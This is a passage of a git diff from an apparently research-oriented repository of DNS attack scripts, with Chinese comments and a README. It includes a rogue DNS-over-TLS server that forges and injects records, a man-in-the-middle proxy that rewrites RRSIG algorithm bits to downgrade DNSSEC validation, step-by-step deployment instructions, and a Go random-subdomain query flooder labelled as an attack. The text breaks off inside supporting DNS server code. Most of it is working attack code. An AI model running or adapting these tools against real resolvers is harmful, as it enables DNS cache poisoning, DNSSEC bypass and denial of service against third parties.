server_hostname=upstream_server[0]) as tls_sock: - # tls_sock.sendall(data.to_wire()) - # resp = tls_sock.recv(4096) - - # 将上游服务器的响应发送回客户端 - listener.sendto(resp.to_wire(), addr) - break diff --git a/att script/12/fake_DoT.py b/att script/12/fake_DoT.py deleted file mode 100644 index 4e45754..0000000 --- a/att script/12/fake_DoT.py +++ /dev/null @@ -1,63 +0,0 @@ -import argparse -import asyncio -import ssl -import socket -import dns.asyncquery -import dns.message -import dns.rcode -import dns.flags -import dns.message -import dns.rrset -from dnslib import DNSRecord - -async def handle_client(reader, writer): - request_data = await reader.read(1024) - request = dns.message.from_wire(request_data[2:]) - #print(request) - dns_request = dns.message.make_query(request.question[0].name, request.question[0].rdtype) - dns_request.id = request.id - #print(dns_request) - dns_response = await dns.asyncquery.udp(q=dns_request, port=53, where='223.5.5.5') - #print(dns_response) - if str(request.question[0].name) == tamper and int(request.question[0].rdtype) == 1: - print('---tamper---', tamper) - dns_response.answer = [dns.rrset.from_text(tamper, 3600, dns.rdataclass.IN, dns.rdatatype.A, '39.106.44.126')] - if str(request.question[0].name) == inject: - print('---inject---', inject) - dns_response.additional = [dns.rrset.from_text(inject,3600,dns.rdataclass.IN, dns.rdatatype.NS,'ns.'+inject.split('.',1)[1]), - dns.rrset.from_text('ns.'+inject.split('.',1)[1],3600,dns.rdataclass.IN, dns.rdatatype.A,ns)] - #print(dns_response) - - response_data = dns_response - record_header = len(response_data.to_wire()).to_bytes(2, 'big') - # 构建完整的TLS响应数据 - tls_response_data = record_header + response_data.to_wire() - writer.write(tls_response_data) - await writer.drain() - writer.close() - -async def start_server(): - # 配置服务器参数 - listen_address = '0.0.0.0' - listen_port = 853 - CERT_FILE = "/usr/local/etc/unbound/cert_new4/app.crt" # 替换为你的SSL证书文件路径 - KEY_FILE = "/usr/local/etc/unbound/cert_new4/app.key" # 替换为你的SSL密钥文件路径 - context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) - context.load_cert_chain(certfile=CERT_FILE, keyfile=KEY_FILE) - # 创建TCP服务器 - server = await asyncio.start_server( - handle_client, listen_address, listen_port, ssl=context) - - print(f'DoT server listening on {listen_address}:{listen_port}') - async with server: - await server.serve_forever() - -parser = argparse.ArgumentParser() -parser.add_argument('-tamper', '--tamper', default='') -parser.add_argument('-inject', '--inject', default='') -parser.add_argument('-ns', '--ns', default='39.106.44.126') -args = parser.parse_args() -tamper = args.tamper +'.' -inject = args.inject +'.' -ns = args.ns -asyncio.run(start_server()) \ No newline at end of file diff --git a/att script/2 (dnssec-downgrade)/downgrade-topology.png b/att script/2 (dnssec-downgrade)/downgrade-topology.png new file mode 100644 index 0000000..4198831 Binary files /dev/null and b/att script/2 (dnssec-downgrade)/downgrade-topology.png differ diff --git a/att script/2 (dnssec-downgrade)/proxy.py b/att script/2 (dnssec-downgrade)/proxy.py new file mode 100644 index 0000000..8b7b7cf --- /dev/null +++ b/att script/2 (dnssec-downgrade)/proxy.py @@ -0,0 +1,196 @@ +# -*- coding: utf-8 -*- + +import socket +import dns.message +import dns.rdatatype +import dns.rdata +import dns.rdataclass +import binascii +import csv +import datetime + +from scapy.all import * + +#from crypto.PublicKey import Ed448 +#import dns.rdatatype + +# 定义代理服务器的地址和端口 +proxy_host = '10.0.8.14' # 代理服务器的IP地址 +proxy_port = 53 # 代理服务器的端口 +#proxy_port = 22 # 代理服务器的端口 + +# 定义上游DNS服务器的地址和端口 +upstream_host = '127.0.0.1' # 上游DNS服务器的IP地址 +upstream_port = 9999 # 上游DNS服务器的端口 + +csv_file = "dnssec_log.csv" + +def proxy_dns_request(request, client_addr, proxy_socket): + # 创建与上游DNS服务器的套接字连接 + upstream_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + + # 发送DNS请求到上游DNS服务器 + upstream_socket.sendto(request, (upstream_host, upstream_port)) + + # 接收上游DNS服务器的响应 + response, _ = upstream_socket.recvfrom(4096) + + # 修改DNS应答中的字段 + modified_response = modify_dns_response(response,client_addr,len(request)) + #modified_response = response + + # 将修改后的DNS应答发送给客户端 + #client_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + #client_socket.sendto(modified_response, client_addr) + proxy_socket.sendto(modified_response, client_addr) + # print("finish",client_addr) + # 关闭套接字连接 + upstream_socket.close() + #client_socket.close() + +def modify_dns_response(response,client_addr,len_request): + # 在这里添加你的修改逻辑 + # 解析DNS应答消息,并修改需要的字段 + # 可以使用dnspython等DNS库来解析和构造DNS消息 + # print("response ",response) + dns_response = dns.message.from_wire(response) + # print("dns_response ",dns_response) + qweasd = 0 + + packet = DNS(response) + # 解析DNS流量 + if DNS in packet: + dns1 = packet[DNS] + if dns1.qd[0].qtype != 1: + print("************No Change************") + return response + if dns1.ancount > 0: + print("Answers:") + for an in dns1.an: + print(" Name:", an.rrname.decode()) + print(" Type:", an.type) + #print(" Data:", an.rdata) + + for rrset in dns_response.answer: + if rrset.rdtype == dns.rdatatype.RRSIG and qweasd == 0 : + qweasd = 1 + current_time = datetime.now() + # with open(csv_file, "a", newline="") as file: + # writer = csv.writer(file) + # writer.writerow([client_addr, len_request, current_time]) + # print("dnssec_log.csv:",csv_file) + # new_rdata = dns.rdata.from_text(rrset.rdclass, rrset.rdtype, rrset.to_text()) + # new_rdata.algorithm = 16 # 设置为 5 或其他你想要的值 + + # 替换原始 RRSIG 记录 + # rrset.clear() + # rrset.add(new_rdata) + # for attrr in dir(rrset): + # print(attrr) +# print("rdata.algorithm",rrset.algorithm) + # new_rdata = dns.rdatatype.from_text(rdtype_text.replace(dns.rdatatype.RSASHA1,dns.rdatatype.ED448)) + # rrset.items = new_rdata + # print(rrset.items) + # print(rrset[1]) +# print(bin(rrset.items[1])) + # for qwe in rrset: + #print(qwe) + #print(type(qwe)," key: ",qwe," qweqweqweqweqwe ") + # for attrr in dir(qwe): + # print(attrr) + # qwe.algorithm = 16 + # print(qwe.algorithm) + # 遍历DNS响应中的资源记录 + + modified_response = dns_response.to_wire() + binary_string = bin(int(binascii.hexlify(modified_response), 16)) + # print("len: ",len(binary_string),"\n",binary_string) + formatted_string = str(binary_string) + index = str(binary_string).find("01100101001000001101110000001111") + new_string = formatted_string[:index+1] + '0' + formatted_string[index+2:] + new_string = new_string[:index+2] + '1' + new_string[index+3:] + new_string = new_string[:index+3] + '0' + new_string[index+4:] + new_string = new_string[:index+4] + '0' + new_string[index+5:] + new_string = new_string[:index+5] + '1' + new_string[index+6:] + new_string = new_string[:index+6] + '0' + new_string[index+7:] + formatted_string = new_string[:index+7] + '1' + new_string[index+8:] + + # index = str(binary_string).find("0000010100000011") + index = str(binary_string).find("0000110100000011") + +# formatted_string = str(binary_string) + new_string = formatted_string[:index+1] + '1' + formatted_string[index+2:] + new_string = new_string[:index+2] + '1' + new_string[index+3:] + new_string = new_string[:index+3] + '1' + new_string[index+4:] + new_string = new_string[:index+4] + '0' + new_string[index+5:] + new_string = new_string[:index+5] + '0' + new_string[index+6:] + new_string = new_string[:index+6] + '0' + new_string[index+7:] + formatted_string = new_string[:index+7] + '0' + new_string[index+8:] + # print("len: ",len(formatted_string),"\n",formatted_string) + # print("index: ",formatted_string[index:]) + binary_string = formatted_string[2:] + binary_number = int(binary_string, 2) + formatted_string = binary_number.to_bytes((binary_number.bit_length() + 7) // 8, 'big') + # print("index: ",formatted_string) + try: + dns_response = dns.message.from_wire(formatted_string) + except: + modified_response = dns_response.to_wire() + # print(dns_response) + modified_response = dns_response.to_wire() + print("**********************************************************************************************************************") + return modified_response + +def start_proxy_server(): + # 创建代理服务器的套接字 + proxy_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + + # 将套接字绑定到代理服务器的地址和端口 + proxy_socket.bind((proxy_host, proxy_port)) + + # 循环监听客户端请求并代理流量 + + num = 1 + + print("START: ") + while True: + + print("start") + request, client_addr = proxy_socket.recvfrom(4096) + print("num: ",num) + num = num + 1 + try: + packet = DNS(request) + # 解析DNS流量 + if DNS in packet: + dns1 = packet[DNS] + if dns1.qdcount > 0: + print("Queries:") + for qd in dns1.qd: + print(" Query Name:", qd.qname.decode()) + print(" Query Type:", qd.qtype) + print(" Query Class:", qd.qclass) + query_current_time = datetime.now() + query_current_time = query_current_time.strftime("%H%M%S%f")[:-2] + # src = request[IP].src + print(" Query src:", client_addr) + print(" Query Current Time:", query_current_time) + tmp = qd.qname.decode() + if tmp[0] == "D": + with open("shiyan1_query", "a", newline="") as file: + writer = csv.writer(file) + writer.writerow([qd.qname.decode(), qd.qtype, qd.qclass, client_addr, query_current_time]) + print("finish") + except Exception as e: + print("error",str(e)) + + + + proxy_dns_request(request, client_addr, proxy_socket) + + # 关闭套接字连接 + proxy_socket.close() + + +# 启动代理服务器 +start_proxy_server() diff --git "a/att script/2 (dnssec-downgrade)/\350\257\264\346\230\216.md" "b/att script/2 (dnssec-downgrade)/\350\257\264\346\230\216.md" new file mode 100644 index 0000000..538b7db --- /dev/null +++ "b/att script/2 (dnssec-downgrade)/\350\257\264\346\230\216.md" @@ -0,0 +1,52 @@ +## 使用说明 + +### 基本目标 + +使目标DNS解析器不对DNSSEC记录进行验证,实现针对DNSSEC的降级攻击 + +### 软件环境 + +DNSSEC降级攻击中共需要四种软件,如下表所示,其中主要测试对象为目录中的DNSSEC绕过工具脚本proxy.py,BIND9用于搭建权威服务器和递归解析器,dig工具用于从客户端发起DNS查询并查看解析结果,python用于运行DNSSEC绕过工具。 + +| 软件名称 | 版本 | 作用 | 备注 | +| ------- | ---- | ---- | ---- | +|DNSSEC绕过工具|v1.0|实现中间人篡改功能|proxy.py| +|BIND9|9.18.2|搭建权威服务器和递归解析器|| +|dig|9.11.36|发起DNS查询并查看解析结果|| +|python|3.7.2|运行DNSSEC绕过工具|| + +### 硬件环境 + +测试中共需要三台服务器A和B。服务器A和B均为公有云VPS,基本配置为Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存。 + +|硬件名称|数量|配置|作用| +|---|---|---|---| +|公有云VPS|2|Intel(R) Xeon(R) Platinum 8269CY CPU双核4GB内存|安装运行必要软件| + +### 测试拓扑 + +测试拓扑如下图。 + +![拓扑](downgrade-topology.png) + +### 部署方法 + +#### BIND9部署 + +在服务器B上安装并配置BIND9作为权威服务器,并进行权威域的DNSSEC配置。 +在服务器A上安装并配置BIND9作为递归解析器,开启DNSSEC验证功能。 + +#### DNSSEC绕过工具部署 + +在服务器B上安装python3,将proxy.py脚本移动到服务器上。 + +### 工具使用方法 + +DNSSEC绕过工具无输入参数,直接通过`python3 proxy.py`运行。 + +### 测试方法 + +1. 在服务器B上启动权威服务器,监听9999端口; +2. 在服务器B上执行python3 proxy.py命令,启动DNSSEC绕过工具; +3. 在服务器A上使用dig向本地的递归解析器查询ns3.jtfgzlm.icu,通过解析结果验证DNSSEC降级攻击效果 + diff --git "a/att script/3 (v6 DDoS)/code/\346\224\273\345\207\273\350\204\232\346\234\254/go.mod" "b/att script/3 (v6 DDoS)/code/\346\224\273\345\207\273\350\204\232\346\234\254/go.mod" new file mode 100644 index 0000000..e0c53cc --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\346\224\273\345\207\273\350\204\232\346\234\254/go.mod" @@ -0,0 +1,21 @@ +module prober + +go 1.20 + +require ( + github.com/miekg/dns v1.1.55 + github.com/panjf2000/ants/v2 v2.8.2 + github.com/schollz/progressbar/v3 v3.13.1 + github.com/thanhpk/randstr v1.0.6 +) + +require ( + github.com/mattn/go-runewidth v0.0.14 // indirect + github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db // indirect + github.com/rivo/uniseg v0.2.0 // indirect + golang.org/x/mod v0.7.0 // indirect + golang.org/x/net v0.2.0 // indirect + golang.org/x/sys v0.6.0 // indirect + golang.org/x/term v0.6.0 // indirect + golang.org/x/tools v0.3.0 // indirect +) diff --git "a/att script/3 (v6 DDoS)/code/\346\224\273\345\207\273\350\204\232\346\234\254/go.sum" "b/att script/3 (v6 DDoS)/code/\346\224\273\345\207\273\350\204\232\346\234\254/go.sum" new file mode 100644 index 0000000..341b6e3 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\346\224\273\345\207\273\350\204\232\346\234\254/go.sum" @@ -0,0 +1,46 @@ +github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= +github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/k0kubun/go-ansi v0.0.0-20180517002512-3bf9e2903213/go.mod h1:vNUNkEQ1e29fT/6vq2aBdFsgNPmy8qMdSay1npru+Sw= +github.com/mattn/go-isatty v0.0.17/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= +github.com/mattn/go-runewidth v0.0.14 h1:+xnbZSEeDbOIg5/mE6JF0w6n9duR1l3/WmbinWVwUuU= +github.com/mattn/go-runewidth v0.0.14/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= +github.com/miekg/dns v1.1.55 h1:GoQ4hpsj0nFLYe+bWiCToyrBEJXkQfOOIvFGFy0lEgo= +github.com/miekg/dns v1.1.55/go.mod h1:uInx36IzPl7FYnDcMeVWxj9byh7DutNykX4G9Sj60FY= +github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db h1:62I3jR2EmQ4l5rM/4FEfDWcRD+abF5XlKShorW5LRoQ= +github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw= +github.com/panjf2000/ants/v2 v2.8.2 h1:D1wfANttg8uXhC9149gRt1PDQ+dLVFjNXkCEycMcvQQ= +github.com/panjf2000/ants/v2 v2.8.2/go.mod h1:7ZxyxsqE4vvW0M7LSD8aI3cKwgFhBHbxnlN8mDqHa1I= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= +github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= +github.com/rivo/uniseg v0.2.0 h1:S1pD9weZBuJdFmowNwbpi7BJ8TNftyUImj/0WQi72jY= +github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= +github.com/schollz/progressbar/v3 v3.13.1 h1:o8rySDYiQ59Mwzy2FELeHY5ZARXZTVJC7iHD6PEFUiE= +github.com/schollz/progressbar/v3 v3.13.1/go.mod h1:xvrbki8kfT1fzWzBT/UZd9L6GA+jdL7HAgq2RFnO6fQ= +github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= +github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= +github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= +github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= +github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= +github.com/stretchr/testify v1.8.2 h1:+h33VjcLVPDHtOdpUCuF+7gSuG3yGIftsP1YvFihtJ8= +github.com/stretchr/testify v1.8.2/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= +github.com/thanhpk/randstr v1.0.6 h1:psAOktJFD4vV9NEVb3qkhRSMvYh4ORRaj1+w/hn4B+o= +github.com/thanhpk/randstr v1.0.6/go.mod h1:M/H2P1eNLZzlDwAzpkkkUvoyNNMbzRGhESZuEQk3r0U= +golang.org/x/mod v0.7.0 h1:LapD9S96VoQRhi/GrNTqeBJFrUjs5UHCAtTlgwA5oZA= +golang.org/x/mod v0.7.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= +golang.org/x/net v0.2.0 h1:sZfSu1wtKLGlWI4ZZayP0ck9Y73K1ynO6gqzTdBVdPU= +golang.org/x/net v0.2.0/go.mod h1:KqCZLdyyvdV855qA2rE3GC2aiw5xGR5TEjj8smXukLY= +golang.org/x/sync v0.3.0 h1:ftCYgMx6zT/asHUrPw8BLLscYtGznsLAnjq5RH9P66E= +golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y= +golang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/sys v0.6.0 h1:MVltZSvRTcU2ljQOhs94SXPftV6DCNnZViHeQps87pQ= +golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= +golang.org/x/term v0.6.0 h1:clScbb1cHjoCkyRbWwBEUZ5H/tIFu5TAXIqaZD0Gcjw= +golang.org/x/term v0.6.0/go.mod h1:m6U89DPEgQRMq3DNkDClhWw02AUbt2daBVO4cn4Hv9U= +golang.org/x/tools v0.3.0 h1:SrNbZl6ECOS1qFzgTdQfWXZM9XBkiA6tkFrH9YSTPHM= +golang.org/x/tools v0.3.0/go.mod h1:/rWhSS2+zyEVwoJf8YAX6L2f0ntZ7Kn/mGgAWcipA5k= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= +gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= +gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git "a/att script/3 (v6 DDoS)/code/\346\224\273\345\207\273\350\204\232\346\234\254/main.go" "b/att script/3 (v6 DDoS)/code/\346\224\273\345\207\273\350\204\232\346\234\254/main.go" new file mode 100644 index 0000000..c4eef91 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\346\224\273\345\207\273\350\204\232\346\234\254/main.go" @@ -0,0 +1,49 @@ +package main + +import ( + "github.com/miekg/dns" + "github.com/panjf2000/ants/v2" + "github.com/schollz/progressbar/v3" + "github.com/thanhpk/randstr" + "os" + "strconv" + "strings" + "sync" +) + +// 攻击 +func main() { + defer ants.Release() + + var wg sync.WaitGroup + + p, _ := ants.NewPool(500, ants.WithPreAlloc(true)) + + c := new(dns.Client) + args := os.Args + qname := args[1] + runcount, _ := strconv.Atoi(args[2]) + bar := progressbar.Default(int64(runcount*len(args[3:])), "发包进度") + for i := runcount; i > 0; i-- { + for _, v := range args[3:] { + wg.Add(1) + + fqdn := strings.ToLower(randstr.String(10)) + "." + qname + msg := dns.Msg{} + msg.SetQuestion(fqdn, dns.TypeAAAA) + vi := v + ":53" + + _ = p.Submit( + func() { + _, _, err := c.Exchange(&msg, vi) + wg.Done() + if err != nil { + return + } + }) + bar.Add(1) + } + } + wg.Wait() + print("完成!!") +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/Ohmyfile" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/Ohmyfile" new file mode 100644 index 0000000..f050ea7 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/Ohmyfile" @@ -0,0 +1,4 @@ + +.:53 { + atk adns comm.n64.top. nsatk.n64.top. 8.210.161.5 v6.natk.club. nsv6.natk.club. 240b:4001:21b:d300:c4b4:9a3a:6d21:62ae 30 +} \ No newline at end of file diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/core.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/core.go" new file mode 100644 index 0000000..e7ea97f --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/core.go" @@ -0,0 +1,5 @@ +package core + +// 注册服务并导入所有插件 +import _ "ohmydns2/core/dnsserver" +import _ "ohmydns2/core/prober" diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/address.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/address.go" new file mode 100644 index 0000000..872e44c --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/address.go" @@ -0,0 +1,86 @@ +package dnsserver + +import ( + "fmt" + "net" + "strings" +) + +type zoneAddr struct { + Zone string + Port string + Transport string // dns, tls or grpc + Address string // used for bound zoneAddr - validation of overlapping +} + +// String returns the string representation of z. +func (z zoneAddr) String() string { + s := z.Transport + "://" + z.Zone + ":" + z.Port + if z.Address != "" { + s += " on " + z.Address + } + return s +} + +// SplitProtocolHostPort splits a full formed address like "dns://[::1]:53" into parts. +func SplitProtocolHostPort(address string) (protocol string, ip string, port string, err error) { + parts := strings.Split(address, "://") + switch len(parts) { + case 1: + ip, port, err := net.SplitHostPort(parts[0]) + return "", ip, port, err + case 2: + ip, port, err := net.SplitHostPort(parts[1]) + return parts[0], ip, port, err + default: + return "", "", "", fmt.Errorf("provided value is not in an address format : %s", address) + } +} + +type zoneOverlap struct { + registeredAddr map[zoneAddr]zoneAddr // each zoneAddr is registered once by its key + unboundOverlap map[zoneAddr]zoneAddr // the "no bind" equiv ZoneAddr is registered by its original key +} + +func newOverlapZone() *zoneOverlap { + return &zoneOverlap{registeredAddr: make(map[zoneAddr]zoneAddr), unboundOverlap: make(map[zoneAddr]zoneAddr)} +} + +// registerAndCheck adds a new zoneAddr for validation, it returns information about existing or overlapping with already registered +// we consider that an unbound address is overlapping all bound addresses for same zone, same port +func (zo *zoneOverlap) registerAndCheck(z zoneAddr) (existingZone *zoneAddr, overlappingZone *zoneAddr) { + existingZone, overlappingZone = zo.check(z) + if existingZone != nil || overlappingZone != nil { + return existingZone, overlappingZone + } + // there is no overlap, keep the current zoneAddr for future checks + zo.registeredAddr[z] = z + zo.unboundOverlap[z.unbound()] = z + return nil, nil +} + +// check validates a zoneAddr for overlap without registering it +func (zo *zoneOverlap) check(z zoneAddr) (existingZone *zoneAddr, overlappingZone *zoneAddr) { + if exist, ok := zo.registeredAddr[z]; ok { + // exact same zone already registered + return &exist, nil + } + uz := z.unbound() + if already, ok := zo.unboundOverlap[uz]; ok { + if z.Address == "" { + // current is not bound to an address, but there is already another zone with a bind address registered + return nil, &already + } + if _, ok := zo.registeredAddr[uz]; ok { + // current zone is bound to an address, but there is already an overlapping zone+port with no bind address + return nil, &uz + } + } + // there is no overlap + return nil, nil +} + +// unbound returns an unbound version of the zoneAddr +func (z zoneAddr) unbound() zoneAddr { + return zoneAddr{Zone: z.Zone, Address: "", Port: z.Port, Transport: z.Transport} +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/config.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/config.go" new file mode 100644 index 0000000..b3a3871 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/config.go" @@ -0,0 +1,105 @@ +package dnsserver + +import ( + "context" + "crypto/tls" + "fmt" + "net/http" + "ohmydns2/plugin" + "ohmydns2/plugin/pkg/request" + "time" + + "github.com/coredns/caddy" +) + +// Config configuration for a single server. +type Config struct { + // The zone of the site. + Zone string + + // one or several hostnames to bind the server to. + // defaults to a single empty string that denote the wildcard address + ListenHosts []string + + // The port to listen on. + Port string + + // Root points to a base directory we find user defined "things". + // First consumer is the file plugin to looks for zone files in this place. + Root string + + // Debug controls the panic/recover mechanism that is enabled by default. + Debug bool + + // Stacktrace controls including stacktrace as part of log from recover mechanism, it is disabled by default. + Stacktrace bool + + // The transport we implement, normally just "dns" over TCP/UDP, but could be + // DNS-over-TLS or DNS-over-gRPC. + Transport string + + // If this function is not nil it will be used to inspect and validate + // HTTP requests. Although this isn't referenced in-tree, external plugins + // may depend on it. + HTTPRequestValidateFunc func(*http.Request) bool + + // FilterFuncs is used to further filter access + // to this handler. E.g. to limit access to a reverse zone + // on a non-octet boundary, i.e. /17 + FilterFuncs []FilterFunc + + // ViewName is the name of the Viewer PLugin defined in the Config + ViewName string + + // TLSConfig when listening for encrypted connections (gRPC, DNS-over-TLS). + TLSConfig *tls.Config + + // Timeouts for TCP, TLS and HTTPS servers. + ReadTimeout time.Duration + WriteTimeout time.Duration + IdleTimeout time.Duration + + // TSIG secrets, [name]key. + TsigSecret map[string]string + + // Plugin stack. + Plugin []plugin.Plugin + + // Compiled plugin stack. + pluginChain plugin.Handler + + // Plugin interested in announcing that they exist, so other plugin can call methods + // on them should register themselves here. The name should be the name as return by the + // Handler's Name method. + registry map[string]plugin.Handler + + // firstConfigInBlock is used to reference the first config in a server block, for the + // purpose of sharing single instance of each plugin among all zones in a server block. + firstConfigInBlock *Config + + // metaCollector references the first MetadataCollector plugin, if one exists + metaCollector MetadataCollector +} + +// FilterFunc is a function that filters requests from the Config +type FilterFunc func(context.Context, *request.Request) bool + +// keyForConfig builds a key for identifying the configs during setup time +func keyForConfig(blocIndex int, blocKeyIndex int) string { + return fmt.Sprintf("%d:%d", blocIndex, blocKeyIndex) +} + +// GetConfig gets the Config that corresponds to c. +// If none exist nil is returned. +func GetConfig(c *caddy.Controller) *Config { + ctx := c.Context().(*dnsContext) + key := keyForConfig(c.ServerBlockIndex, c.ServerBlockKeyIndex) + if cfg, ok := ctx.keysToConfigs[key]; ok { + return cfg + } + // we should only get here during tests because directive + // actions typically skip the server blocks where we make + // the configs. + ctx.saveConfig(key, &Config{ListenHosts: []string{""}}) + return GetConfig(c) +} diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/https.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/https.go" new file mode 100644 index 0000000..59658c6 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/https.go" @@ -0,0 +1,29 @@ +package dnsserver + +import ( + "net" + "net/http" + "ohmydns2/plugin/pkg/nonwriter" +) + +// DoHWriter is a nonwriter.Writer that adds more specific LocalAddr and RemoteAddr methods. +type DoHWriter struct { + nonwriter.Writer + + // raddr is the remote's address. This can be optionally set. + raddr net.Addr + // laddr is our address. This can be optionally set. + laddr net.Addr + + // request is the HTTP request we're currently handling. + request *http.Request +} + +// RemoteAddr returns the remote address. +func (d *DoHWriter) RemoteAddr() net.Addr { return d.raddr } + +// LocalAddr returns the local address. +func (d *DoHWriter) LocalAddr() net.Addr { return d.laddr } + +// Request returns the HTTP request +func (d *DoHWriter) Request() *http.Request { return d.request } diff --git "a/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/onstartup.go" "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/onstartup.go" new file mode 100644 index 0000000..4ac3ec4 --- /dev/null +++ "b/att script/3 (v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/core/dnsserver/onstartup.go" @@ -0,0 +1,60 @@ +package dnsserver + +import ( + "fmt" + "ohmydns2/plugin/pkg/dnsutil" + "regexp" + "sort" +) + +// checkZoneSyntax() checks whether the given string match 1035 Preferred Syntax or not. +// The root zone, and all reverse zones always return true even though they technically don't meet 1035 Preferred Syntax +func checkZoneSyntax(zone string) bool { + if zone == "." || dnsutil.IsReverse(zone) != 0 { + return true + } + regex1035PreferredSyntax, _ := regexp.MatchString(`^(([A-Za-z]([A-Za-z0-9-]*[A-Za-z0-9])?)\.)+$`, zone) + return regex1035PreferredSyntax +} + +// startUpZones creates the text that we show when starting up: +// grpc://example.com.:1055 +// example.com.:1053 on 127.0.0.1 +func startUpZones(protocol, addr string, zones map[string][]*Config) string { + s := "" + + keys := make([]string, len(zones)) + i := 0 + + for k := range zones { + keys[i] = k + i++ + } + sort.Strings(keys) + + for _, zone := range keys { + //if strings.HasPrefix(protocol, 